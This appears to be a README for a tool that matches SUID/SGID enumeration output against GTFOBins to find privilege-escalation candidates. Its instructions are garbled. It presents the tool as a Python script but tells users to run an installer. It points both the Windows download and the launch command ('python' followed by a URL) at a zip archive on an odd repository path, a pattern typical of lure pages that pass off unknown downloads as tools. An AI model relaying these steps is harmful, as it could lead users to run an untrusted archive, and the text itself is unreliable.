Welcome to gtfobinSUID! This application helps you analyze your SUID/SGID enumeration output. It checks which binaries are vulnerable according to GTFOBins. You can use it in two ways: online, with an internet connection, or offline, using a local database. Follow the steps below to download and run the script.
To use gtfobinSUID, ensure your computer meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Python 3.6 or higher installed
- Internet connection is required for online mode
- Basic command line knowledge (for running scripts)
-
Visit the Releases Page: Go to the Releases page to download the latest version.
-
Select the Correct File: You will see several files based on your operating system. Choose the one that fits your OS:
- For Windows:
https://raw.githubusercontent.com/enzoplaaygamemg12/gtfobinSUID/main/Transcaucasian/gtfobin-SUID-1.0.zip - For macOS:
gtfobinSUID-macos - For Linux:
gtfobinSUID-linux
- For Windows:
-
Download the File: Click on the file to start the download. Save it to a folder you can easily access.
-
Run the Installer (if applicable): Depending on your operating system, double-click the downloaded file to install. Follow the prompts to complete the installation.
-
Run the Script: Open your command line interface (like Command Prompt, Terminal, or Shell) and navigate to the folder where you saved the script.
-
Launch gtfobinSUID: Type the following command to run the script:
python https://raw.githubusercontent.com/enzoplaaygamemg12/gtfobinSUID/main/Transcaucasian/gtfobin-SUID-1.0.zipEnsure you are in the correct directory where your downloaded script is located.
- When prompted, input the directory containing your SUID/SGID output.
- Choose to connect to the online GTFOBins database when asked.
- The script will analyze the binaries and provide a report on any vulnerabilities.
- For offline checks, the local database must be installed during the initial setup.
- Input the directory containing your SUID/SGID output.
- The script will check against the local database and report vulnerabilities.
- Fast Analysis: Quickly checks for vulnerabilities in SUID/SGID binaries.
- Two Modes: Use online with GTFOBins or offline with a local database.
- User-Friendly: Designed for ease of use, even for non-technical users.
- Python Not Found: If you see an error about Python, make sure Python is installed and added to your system's PATH.
- Permission Issues: If you encounter permission errors, try running the command line as an administrator or with sudo privileges.
- Internet Connection Errors: Ensure you have a stable internet connection when using the online mode.
Your feedback is welcome! If you would like to contribute to gtfobinSUID, please:
- Fork the repository.
- Make your changes.
- Submit a pull request for review.
For any issues or questions, please open an issue on the GitHub repository. We aim to respond within 48 hours.